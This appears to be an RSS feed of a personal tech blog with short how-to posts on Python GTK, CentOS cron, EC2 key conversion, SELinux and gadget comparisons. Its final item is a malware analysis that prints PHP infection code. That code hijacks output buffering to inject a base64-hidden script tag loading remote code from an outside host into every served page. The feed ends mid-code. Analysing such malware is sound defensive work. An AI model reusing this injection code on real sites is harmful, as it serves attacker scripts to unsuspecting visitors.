<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-4056600558769970290</atom:id><lastBuildDate>Tue, 07 May 2013 14:40:15 +0000</lastBuildDate><category>BASH</category><category>Broadband</category><category>CSS</category><category>Hacks</category><category>Image Processing</category><category>Server</category><category>Perl</category><category>Windows</category><category>VC++</category><category>Sony Vaio</category><category>Security</category><category>Fun</category><category>VB</category><category>Programming</category><category>Formats and Specifications</category><category>Tweaking</category><category>Did you know</category><category>PHP</category><category>Console Story</category><category>Virus Removal</category><category>Assembly</category><category>Dataone</category><category>iPod</category><category>amazon</category><category>Linux</category><category>cPanel</category><category>HTML</category><category>Networking</category><category>Snaps</category><category>Software</category><category>Compaq Presario</category><category>Feature Review</category><category>Orkut</category><category>ASCII Art</category><category>Facebook</category><title>the Digital me</title><description>74 68 65 20 64 69 67 69 74 61 6C 20 6D 65 &lt;br&gt;
It just means "the digital me" (written in hex)</description><link>http://digitalpbk.blogspot.com/</link><managingEditor>noreply@blogger.com (Arun Prabhakar)</managingEditor><generator>Blogger</generator><openSearch:totalResults>155</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/TheDigitalMe" /><feedburner:info uri="thedigitalme" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4056600558769970290.post-6757194048376035548</guid><pubDate>Fri, 30 Mar 2012 14:56:00 +0000</pubDate><atom:updated>2012-03-30T07:57:31.134-07:00</atom:updated><title>Installing pyGTK, pypango and pycairo on Windows 64bit</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
To install pygtk, pypango and pycairo on Windows,&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;Download 64bit GTK libraries from the gtk website &lt;a href="http://www.gtk.org/download/win64.php"&gt;http://www.gtk.org/download/win64.php&lt;/a&gt;, Download the all-in-one zip file. 
&lt;/li&gt;
&lt;li&gt;Extract it to &lt;pre&gt;C:\gtk&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;Add the path &lt;pre&gt;C:\gtk\bin&lt;/pre&gt; to environment path&lt;/li&gt;
&lt;li&gt;Download 64bit versions of pygobject, pygtk and py2cairo from &lt;a href="http://www.lfd.uci.edu/~gohlke/pythonlibs/#pygtk"&gt;http://www.lfd.uci.edu/~gohlke/pythonlibs/#pygtk&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Double click and install all the exes&lt;/li&gt;
&lt;/ul&gt;

That's it. &lt;br/&gt;
Hope this helps everyone stuck installing &lt;b&gt;pypango, pycairo, pyGTK&lt;/b&gt;.
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/TheDigitalMe/~4/k9hGgcaaBBU" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/TheDigitalMe/~3/k9hGgcaaBBU/installing-pygtk-pypango-and-pycairo-on.html</link><author>noreply@blogger.com (Arun Prabhakar)</author><thr:total>1</thr:total><feedburner:origLink>http://digitalpbk.blogspot.com/2012/03/installing-pygtk-pypango-and-pycairo-on.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4056600558769970290.post-1819160447442893952</guid><pubDate>Fri, 11 Nov 2011 13:28:00 +0000</pubDate><atom:updated>2011-11-11T05:28:55.956-08:00</atom:updated><title>Teamviewer SourceCode C++</title><description>Team viewer is a remote desktop sharing program that allows you to view remote desktops. Its source is in C++ and is available at&lt;br /&gt;
&lt;br /&gt;
&lt;code&gt;&lt;a href="http://www.teamviewer.com/download/TeamViewer_Source.zip" rel="external nofollow"&gt;http://www.teamviewer.com/download/TeamViewer_Source.zip&lt;/a&gt;&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
Enjoy !!!&lt;img src="http://feeds.feedburner.com/~r/TheDigitalMe/~4/BgaAedRb2bw" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/TheDigitalMe/~3/BgaAedRb2bw/teamviewer-sourcecode-c.html</link><author>noreply@blogger.com (Arun Prabhakar)</author><thr:total>0</thr:total><feedburner:origLink>http://digitalpbk.blogspot.com/2011/11/teamviewer-sourcecode-c.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4056600558769970290.post-7614734502498191423</guid><pubDate>Thu, 03 Nov 2011 10:21:00 +0000</pubDate><atom:updated>2011-11-03T03:25:56.926-07:00</atom:updated><title>Install Crontab on Cent OS 5</title><description>Crontab would not be installed by default on CentOS 5 custom installation, as happened with my new prgmr.com server. So to install cron you would do a yum search cron and you are not quiet sure what to install. &lt;br /&gt;&lt;br /&gt;&lt;h2&gt;To install crontab on centos&lt;/h2&gt;&lt;br /&gt;&lt;pre class="code"&gt;&lt;br /&gt;yum install -y vixie-cron.x86_64&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Vixie cron is the cron software on CentOS 5.&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;The Vixie cron daemon for executing specified programs at set times.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Now you should be able to do crontab -e to add your cron.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Starting crontab&lt;/h2&gt;&lt;br /&gt;&lt;pre class="code"&gt;&lt;br /&gt;sudo /etc/init.d/crond start&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Now the cron tasks should be executed at the specified times.&lt;img src="http://feeds.feedburner.com/~r/TheDigitalMe/~4/0y4-xm-AuSc" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/TheDigitalMe/~3/0y4-xm-AuSc/install-crontab-on-cent-os-5.html</link><author>noreply@blogger.com (Arun Prabhakar)</author><thr:total>0</thr:total><feedburner:origLink>http://digitalpbk.blogspot.com/2011/11/install-crontab-on-cent-os-5.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4056600558769970290.post-2020779278319497905</guid><pubDate>Tue, 18 Oct 2011 03:17:00 +0000</pubDate><atom:updated>2011-10-17T20:29:01.235-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">amazon</category><title>Convert Amazon EC2 PEM files to PPK</title><description>So you just set up a keypair in Amazon EC2 and got a PEM file, Now how do you login to using Putty ?&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;How to login to Amazon EC2 using Putty&lt;/h2&gt;&lt;br /&gt;Open Puttygen, if you dont have puttygen, you can get it for download at &lt;a href="http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html"&gt;http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://2.bp.blogspot.com/-mNqEy_YCfyc/TpzwnEc7zjI/AAAAAAAAA8c/lOpJjzcN4XQ/s1600/amazon-ec2-pem-putty.png" alt="Amazon EC2 Import PEM using Putty"/&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;&lt;br /&gt;Now click Conversions &gt; Import. &lt;/li&gt;&lt;br /&gt;&lt;li&gt;Choose your PEM file that was downloaded from the Amazon EC2 dashboard&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Click on Save Private Key and name it something .ppk&lt;br /&gt;&lt;img src="http://3.bp.blogspot.com/-NUmX-pHCPOI/TpzyKDX4WwI/AAAAAAAAA8o/ZArJlgYJ5i4/s1600/amazon-ec2-pem-convert-ppk.png" alt="Convert Amazon PEM file to PPK file" /&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Voila, use your ppk to login through Putty to your Amazon EC2 Instance&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;img src="http://feeds.feedburner.com/~r/TheDigitalMe/~4/9dP_-07ZzzM" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/TheDigitalMe/~3/9dP_-07ZzzM/convert-amazon-ec2-pem-files-to-ppk.html</link><author>noreply@blogger.com (Arun Prabhakar)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-mNqEy_YCfyc/TpzwnEc7zjI/AAAAAAAAA8c/lOpJjzcN4XQ/s72-c/amazon-ec2-pem-putty.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://digitalpbk.blogspot.com/2011/10/convert-amazon-ec2-pem-files-to-ppk.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4056600558769970290.post-2966869903724356502</guid><pubDate>Sat, 15 Oct 2011 07:34:00 +0000</pubDate><atom:updated>2011-10-15T00:37:21.842-07:00</atom:updated><title>Solve Failed to query Solr using '*:*': [Errno 13] Permission denied</title><description>This error is created mostly on a CentOs / similar linux operating systems with SELinux On.&lt;br /&gt;&lt;br /&gt;By default SELinux does not allow you to listen on non standard http ports such  as 8983 in which SOLR listens on. To fix this run the following command as root:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;semanage port -a -t http_port_t -p tcp 8983&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;This adds the 8983 port to http list. This should solve the Permission denied message when querying SOLR.&lt;br /&gt;&lt;br /&gt;Restart SOLR / Applications.&lt;br /&gt;&lt;br /&gt;This should solve &lt;strong&gt;Failed to query Solr using '*:*': [Errno 13] Permission denied&lt;/strong&gt;&lt;img src="http://feeds.feedburner.com/~r/TheDigitalMe/~4/3nLi8N_oQSg" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/TheDigitalMe/~3/3nLi8N_oQSg/solve-failed-to-query-solr-using-errno.html</link><author>noreply@blogger.com (Arun Prabhakar)</author><thr:total>0</thr:total><feedburner:origLink>http://digitalpbk.blogspot.com/2011/10/solve-failed-to-query-solr-using-errno.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4056600558769970290.post-3076718638612640826</guid><pubDate>Thu, 19 May 2011 18:48:00 +0000</pubDate><atom:updated>2011-05-19T11:49:08.735-07:00</atom:updated><title>Installing g++ on Amazon EC2 Small Instance</title><description>To install you have to run the following command:&lt;br /&gt;&lt;pre class="code"&gt;sudo yum groupinstall "Development Tools"&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Phew!&lt;img src="http://feeds.feedburner.com/~r/TheDigitalMe/~4/lnfPIt79foI" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/TheDigitalMe/~3/lnfPIt79foI/installing-g-on-amazon-ec2-small.html</link><author>noreply@blogger.com (Arun Prabhakar)</author><thr:total>0</thr:total><feedburner:origLink>http://digitalpbk.blogspot.com/2011/05/installing-g-on-amazon-ec2-small.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4056600558769970290.post-8573246925583578073</guid><pubDate>Wed, 15 Dec 2010 03:45:00 +0000</pubDate><atom:updated>2010-12-14T19:49:18.895-08:00</atom:updated><title>Compare Dell Inspiron Laptop vs Sony Vaio</title><description>&lt;img src="http://digitalpbk.com/files/blog_images/dell-inspiron-14r-sony-vaio-vpccw26fg.jpg" alt="Compare dell inspiron laptop with sony vaio laptop" title="Compare dell inspiron laptop with sony vaio laptop"/&gt;. &lt;br /&gt;&lt;br /&gt;Are you consider buying a laptop? See the following post for a comparsion between the latest Dell and Sony laptops. &lt;A href="http://digitalpbk.com/sony-vaio/dell-inspiron-laptop-14r-vs-sony-vaio-vpccw26fg-laptop"&gt;Compare dell inspiron laptop with sony vaio laptop&lt;/a&gt;&lt;img src="http://feeds.feedburner.com/~r/TheDigitalMe/~4/-ceLgu1L_Uk" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/TheDigitalMe/~3/-ceLgu1L_Uk/compare-dell-inspiron-laptop-vs-sony.html</link><author>noreply@blogger.com (Arun Prabhakar)</author><thr:total>0</thr:total><feedburner:origLink>http://digitalpbk.blogspot.com/2010/12/compare-dell-inspiron-laptop-vs-sony.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4056600558769970290.post-2462752764937130026</guid><pubDate>Tue, 10 Aug 2010 16:26:00 +0000</pubDate><atom:updated>2010-08-10T09:28:43.857-07:00</atom:updated><title>Sony Vaio F and CW series recalled due to heat problem VPCCW26FG</title><description>&lt;span style="font-weight:bold;"&gt;Sony &lt;/span&gt;has recalled half a million laptops of its CW and F series due to a potential &lt;span style="font-weight:bold;"&gt;overheat&lt;/span&gt; problem. &lt;img src="http://digitalpbk.com/files/imagecache/thumbnail/blog_images/sony-vaio-looks.jpeg" alt="Sony Vaio F and CW series recalled due to heat problem VPCCW26FG" title="Sony Vaio F and CW series recalled due to heat problem VPCCW26FG"/&gt;&lt;br /&gt;&lt;br /&gt;See &lt;a href="http://digitalpbk.com/sony-vaio-recall/sony-vaio-f-and-cw-series-recalled-due-heat-problem-vpccw26fg"&gt;More&lt;/a&gt;&lt;img src="http://feeds.feedburner.com/~r/TheDigitalMe/~4/hEbQX4lVq3Q" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/TheDigitalMe/~3/hEbQX4lVq3Q/sony-vaio-f-and-cw-series-recalled-due.html</link><author>noreply@blogger.com (Arun Prabhakar)</author><thr:total>0</thr:total><feedburner:origLink>http://digitalpbk.blogspot.com/2010/08/sony-vaio-f-and-cw-series-recalled-due.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4056600558769970290.post-4490077968457909947</guid><pubDate>Sat, 12 Jun 2010 15:47:00 +0000</pubDate><atom:updated>2010-06-12T08:50:50.898-07:00</atom:updated><title>Nokia E63 versus E71 a feature comparison</title><description>&lt;img src="http://digitalpbk.com/files/blog_images/nokia-e63-front-back.jpg" alt="nokia e63 vs e71 comparison"/&gt;&lt;br /&gt;&lt;br /&gt;Nokia E63, E71, E72 etc are business type phones (or blackberry like) introduced by Nokia. Main features are full QWERTY keyboard and a long battery life. However there are some key differences in between Nokia E63 and the E71. &lt;br /&gt;&lt;br /&gt;Head over to &lt;a href="http://digitalpbk.com/hardware/compare-nokia-e71-vs-e63-smartphone"&gt;Compare Nokia E71 vs E63 Smartphone&lt;/a&gt;&lt;img src="http://feeds.feedburner.com/~r/TheDigitalMe/~4/T7OUWmtUHb0" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/TheDigitalMe/~3/T7OUWmtUHb0/nokia-e63-versus-e71-feature-comparison.html</link><author>noreply@blogger.com (Arun Prabhakar)</author><thr:total>0</thr:total><feedburner:origLink>http://digitalpbk.blogspot.com/2010/06/nokia-e63-versus-e71-feature-comparison.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4056600558769970290.post-7484931330190296044</guid><pubDate>Wed, 12 May 2010 04:57:00 +0000</pubDate><atom:updated>2010-05-11T21:57:11.801-07:00</atom:updated><title>Official Google Blog: Search is getting more social</title><description>&lt;a href="http://googleblog.blogspot.com/2010/01/search-is-getting-more-social.html"&gt;Official Google Blog: Search is getting more social&lt;/a&gt;&lt;img src="http://feeds.feedburner.com/~r/TheDigitalMe/~4/iFosTZhSoIg" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/TheDigitalMe/~3/iFosTZhSoIg/official-google-blog-search-is-getting.html</link><author>noreply@blogger.com (Arun Prabhakar)</author><thr:total>0</thr:total><feedburner:origLink>http://digitalpbk.blogspot.com/2010/05/official-google-blog-search-is-getting.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4056600558769970290.post-5425463099929132805</guid><pubDate>Tue, 11 May 2010 18:08:00 +0000</pubDate><atom:updated>2010-05-11T11:09:19.176-07:00</atom:updated><title>Google search goes social with Social Search Results - The Facebook effect ?</title><description>Is google moving towards a social networking side ?&lt;br /&gt;Google is slowly adding the "Social" aspect to all its products. After launching Buzz on Gmail, "Social Results" aspect in "Google Search" results too reveals this trend. &lt;br /&gt;&lt;br /&gt;&lt;a href="http://digitalpbk.com/google/google-search-social-results-beta"&gt;Read more on Google search goes social with Social Search Results - The Facebook effect ?&lt;/a&gt;&lt;img src="http://feeds.feedburner.com/~r/TheDigitalMe/~4/euBxvTZ_Ilc" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/TheDigitalMe/~3/euBxvTZ_Ilc/google-search-goes-social-with-social.html</link><author>noreply@blogger.com (Arun Prabhakar)</author><thr:total>0</thr:total><feedburner:origLink>http://digitalpbk.blogspot.com/2010/05/google-search-goes-social-with-social.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4056600558769970290.post-1855572900071401653</guid><pubDate>Fri, 16 Apr 2010 07:33:00 +0000</pubDate><atom:updated>2010-04-16T00:40:43.080-07:00</atom:updated><title>Taggle.com Coming Soon</title><description>&lt;img style="float: left;" alt="Taggle com coming soon" title="Taggle" src="http://www.taggle.com/images/taggle-bars.png"/&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.taggle.com/"&gt;&lt;img src="http://www.taggle.com/images/logo.png"&gt;&lt;/a&gt; &lt;br&gt;&lt;br /&gt; &lt;b style="font-size: 15px;"&gt;Coming soon to add excitement to your life!&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br style="clear:both"/&gt;&lt;br /&gt;&lt;br /&gt;Taggle.com is coming soon to change your lifestyle. Get ready to start Taggling! &lt;br /&gt;&lt;br /&gt;:)&lt;img src="http://feeds.feedburner.com/~r/TheDigitalMe/~4/naPZO4n0H78" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/TheDigitalMe/~3/naPZO4n0H78/tagglecom-coming-soon.html</link><author>noreply@blogger.com (Arun Prabhakar)</author><thr:total>0</thr:total><feedburner:origLink>http://digitalpbk.blogspot.com/2010/04/tagglecom-coming-soon.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4056600558769970290.post-805269154282498882</guid><pubDate>Tue, 06 Apr 2010 06:56:00 +0000</pubDate><atom:updated>2010-04-06T00:08:58.056-07:00</atom:updated><title>Using HDMI Port to connect your laptop To TV</title><description>HDMI port can be used to play High Definition Video on your TV. New TV models like the LG Scarlet support HDMI ports which is the new standard that interconnects video devices. &lt;br /&gt;&lt;br /&gt;&lt;img src="http://digitalpbk.com/files/imagecache/thumbnail/blog_images/laptop-to-tv-using-hdmi-port.jpg" alt="Using HDMI Port to connect your laptop To TV" title="Using HDMI Port to connect your laptop To TV"/&gt;&lt;br /&gt;&lt;br /&gt;HDMI having a bandwidth of about 10 Gbps, can support transfer of real time HD Videos (1080p).&lt;br /&gt;&lt;br /&gt;See more on &lt;a href="http://digitalpbk.com/hdmi/connect-laptop-tv-using-hdmi-port"&gt;Conencting TV to Laptop using HDMI&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://digitalpbk.com/help/hdmi-cable-buying-guide"&gt;HDMI Cable Buying Guide&lt;/a&gt;&lt;img src="http://feeds.feedburner.com/~r/TheDigitalMe/~4/Q8ozOeWYCes" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/TheDigitalMe/~3/Q8ozOeWYCes/using-hdmi-port-to-connect-your-laptop.html</link><author>noreply@blogger.com (Arun Prabhakar)</author><thr:total>0</thr:total><feedburner:origLink>http://digitalpbk.blogspot.com/2010/04/using-hdmi-port-to-connect-your-laptop.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4056600558769970290.post-8937347508415291196</guid><pubDate>Mon, 05 Apr 2010 11:01:00 +0000</pubDate><atom:updated>2010-04-05T04:19:31.855-07:00</atom:updated><title>Lighter free social bookmarking Javascript</title><description>Social Media Buttons help you share the content on bookmarking websites such as Stumble Upon, Reddit or Digg or social networking Websites such as Facebook or Twitter. Adding the buttons helps you to expose your content to a broader audience.&lt;br /&gt;There are lots of social media button providers such as AddThis or ShareThis. I think it is overloaded with features that makes your page load slow as well as bring in unintentional 3rd party javascript code ( or flash tracker ) which runs on your blog.&lt;br /&gt;&lt;br /&gt;So it is always safe to use your own script or scripts which you can read understand and verify it just does what it is suppose to do.&lt;br /&gt;&lt;br /&gt;See &lt;a href="http://digitalpbk.com/javascript/free-light-small-social-media-sharing-javascript-facebook-twitter-stumble-upon-digg-and-r"&gt;Free Light weight Social media sharing javascript &lt;/a&gt; for more code and details.&lt;img src="http://feeds.feedburner.com/~r/TheDigitalMe/~4/2XcWCd53hFE" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/TheDigitalMe/~3/2XcWCd53hFE/lighter-free-social-bookmarking.html</link><author>noreply@blogger.com (Arun Prabhakar)</author><thr:total>0</thr:total><feedburner:origLink>http://digitalpbk.blogspot.com/2010/04/lighter-free-social-bookmarking.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4056600558769970290.post-2234097962823790450</guid><pubDate>Wed, 24 Feb 2010 03:25:00 +0000</pubDate><atom:updated>2010-02-23T19:28:48.445-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Sony Vaio</category><title>Sony Vaio VPCCW26FG</title><description>Sony has introduced a new Laptop in its CW Series, Sony Vaio VPCCW26FG. &lt;br /&gt;Looks stylish and has good configuration... Check out my posts on my new blog... &lt;br /&gt;&lt;a href="http://digitalpbk.com/hardware/compare-sony-vaio-cw-vpccw26fg-versus-vs-apple-macbook-white"&gt;Sony Vaio VPCCW26FG vs Macbook White&lt;/a&gt;&lt;img src="http://feeds.feedburner.com/~r/TheDigitalMe/~4/7i5r2N-Syjs" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/TheDigitalMe/~3/7i5r2N-Syjs/sony-vaio-vpccw26fg.html</link><author>noreply@blogger.com (Arun Prabhakar)</author><thr:total>0</thr:total><feedburner:origLink>http://digitalpbk.blogspot.com/2010/02/sony-vaio-vpccw26fg.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4056600558769970290.post-5450441282462685557</guid><pubDate>Wed, 09 Dec 2009 04:02:00 +0000</pubDate><atom:updated>2009-12-08T20:02:31.616-08:00</atom:updated><title>Google Chrome for Linux finally available</title><description>&lt;a href="http://digitalpbk.com/2009/12/install-google-chrome-linux-ubuntu-910"&gt;Click Here&lt;/a&gt;&lt;img src="http://feeds.feedburner.com/~r/TheDigitalMe/~4/QUReUF2MSSc" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/TheDigitalMe/~3/QUReUF2MSSc/google-chrome-for-linux-finally.html</link><author>noreply@blogger.com (Arun Prabhakar)</author><thr:total>1</thr:total><feedburner:origLink>http://digitalpbk.blogspot.com/2009/12/google-chrome-for-linux-finally.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4056600558769970290.post-7675046499092383983</guid><pubDate>Wed, 09 Dec 2009 04:01:00 +0000</pubDate><atom:updated>2009-12-08T20:01:43.074-08:00</atom:updated><title>Official Google Blog: Google Chrome for the holidays: Mac, Linux and extensions in beta</title><description>&lt;A href="http://digitalpbk.com/2009/12/install-google-chrome-linux-ubuntu-910"&gt;http://digitalpbk.com/2009/12/install-google-chrome-linux-ubuntu-910&lt;/a&gt;&lt;img src="http://feeds.feedburner.com/~r/TheDigitalMe/~4/QP3Rxk4Qtv4" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/TheDigitalMe/~3/QP3Rxk4Qtv4/official-google-blog-google-chrome-for.html</link><author>noreply@blogger.com (Arun Prabhakar)</author><thr:total>0</thr:total><feedburner:origLink>http://digitalpbk.blogspot.com/2009/12/official-google-blog-google-chrome-for.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4056600558769970290.post-821693127491624586</guid><pubDate>Thu, 19 Nov 2009 04:09:00 +0000</pubDate><atom:updated>2009-11-18T20:12:35.283-08:00</atom:updated><title>Happy Birthday digitalpbk.blogspot.com</title><description>Well I totally forgot that my blog is completed 3 years as of November 18. &lt;br /&gt;&lt;br /&gt;And you can see the numbers right :) &lt;br /&gt;&lt;br /&gt;I have started &lt;a href="http://digitalpbk.com"&gt;a new blog&lt;/a&gt; with more features so that people would get more information out of it and structured neatly.&lt;br /&gt;&lt;br /&gt;So @ 3 years of my &lt;i&gt;Tech&lt;/i&gt; blogging on blogspot, i'm moving onto my domain. &lt;b&gt;digitalpbk.com&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;This blog would still be here. &lt;br /&gt;&lt;br /&gt;So See Ya...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://digitalpbk.com"&gt;digitalpbk&lt;/a&gt;&lt;br /&gt;:)&lt;img src="http://feeds.feedburner.com/~r/TheDigitalMe/~4/d-x1JI1x2aI" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/TheDigitalMe/~3/d-x1JI1x2aI/happy-birthday-digitalpbkblogspotcom.html</link><author>noreply@blogger.com (Arun Prabhakar)</author><thr:total>0</thr:total><feedburner:origLink>http://digitalpbk.blogspot.com/2009/11/happy-birthday-digitalpbkblogspotcom.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4056600558769970290.post-8318239456844163267</guid><pubDate>Thu, 15 Oct 2009 08:13:00 +0000</pubDate><atom:updated>2009-10-15T02:13:56.186-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">PHP</category><category domain="http://www.blogger.com/atom/ns#">Virus Removal</category><title>PHP Code Analysis of Bagle Virus</title><description>&lt;b&gt;The code&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The following is the code that is executed on all pages infected by this virus : &lt;br /&gt;&lt;br /&gt;&lt;pre class="prog" style="height:300px"&gt;if (!isset ($b0sr1))&lt;br /&gt;  {&lt;br /&gt;    function b0sr ($s)&lt;br /&gt;    {&lt;br /&gt;      if (preg_match_all ('#&amp;lt;script(.*?)&amp;lt;/script&amp;gt;#is', $s, $a))&lt;br /&gt;        foreach ($a[0] as $v) &lt;br /&gt;          if (count (explode (&amp;quot;\n&amp;quot;, $v)) &amp;gt; 5)&lt;br /&gt;          {&lt;br /&gt;            $e = preg_match ('#[\'&amp;quot;][^\s\'&amp;quot;\.,;\?!\[\]:/&amp;lt;&amp;gt;\(\)]{30,}#', $v)&lt;br /&gt;              || preg_match ('#[\(\[](\s*\d+,){20,}#', $v);&lt;br /&gt;            if ((preg_match ('#\beval\b#', $v)&lt;br /&gt;                 &amp;amp;&amp;amp; ($e || strpos ($v, 'fromCharCode'))) || ($e&lt;br /&gt;                                                             &amp;amp;&amp;amp; strpos ($v,&lt;br /&gt;                                                                        'document.write')))&lt;br /&gt;              $s = str_replace ($v, '', $s);&lt;br /&gt;          }&lt;br /&gt;      if (preg_match_all&lt;br /&gt;          ('#&amp;lt;iframe ([^&amp;gt;]*?)src=[\'&amp;quot;]?(http:)?//([^&amp;gt;]*?)&amp;gt;#is', $s, $a))&lt;br /&gt;        foreach ($a[0] as $v)&lt;br /&gt;          if (preg_match&lt;br /&gt;              ('# width\s*=\s*[\'&amp;quot;]?0*[01][\'&amp;quot;&amp;gt; ]|display\s*:\s*none#i', $v)&lt;br /&gt;              &amp;amp;&amp;amp; !strstr ($v, '?'.'&amp;gt;'))&lt;br /&gt;          $s = preg_replace ('#'.preg_quote ($v, '#').'.*?&amp;lt;/iframe&amp;gt;#is', '', $s);&lt;br /&gt;      $s = str_replace ($a =&lt;br /&gt;                        base64_decode&lt;br /&gt;                        ('PHNjcmlwdCBzcmM9aHR0cDovL2dlbXVzLnBsL2RiL2Z0cGNoazMucGhwID48L3NjcmlwdD4='),&lt;br /&gt;                        '', $s);&lt;br /&gt;      if (stristr ($s, '&amp;lt;body'))&lt;br /&gt;        $s = preg_replace ('#(\s*&amp;lt;body)#mi', $a.'\1', $s);&lt;br /&gt;      elseif (strpos ($s, ',a')) $s. = $a;&lt;br /&gt;      return $s;&lt;br /&gt;    }&lt;br /&gt;    function b0sr2 ($a, $b, $c, $d)&lt;br /&gt;    {&lt;br /&gt;      global $b0sr1;&lt;br /&gt;      $s = array ();&lt;br /&gt;      if (function_exists ($b0sr1))&lt;br /&gt;        call_user_func ($b0sr1, $a, $b, $c, $d);&lt;br /&gt;      foreach (@ob_get_status (1) as $v) &lt;br /&gt;        if (($a = $v['name']) == 'b0sr')&lt;br /&gt;          return;&lt;br /&gt;        elseif ($a == 'ob_gzhandler') break;&lt;br /&gt;        else&lt;br /&gt;        $s[] = array ($a == 'default output handler' ? false : $a);&lt;br /&gt;      &lt;br /&gt;      for ($i = count ($s) - 1; $i &amp;gt;= 0; $i--)&lt;br /&gt;        {&lt;br /&gt;          $s[$i][1] = ob_get_contents ();&lt;br /&gt;          ob_end_clean ();&lt;br /&gt;        }&lt;br /&gt;      ob_start ('b0sr');&lt;br /&gt;      &lt;br /&gt;      for ($i = 0; $i &amp;lt; count ($s); $i++)&lt;br /&gt;        {&lt;br /&gt;          ob_start ($s[$i][0]);&lt;br /&gt;          echo $s[$i][1];&lt;br /&gt;        }&lt;br /&gt;    }&lt;br 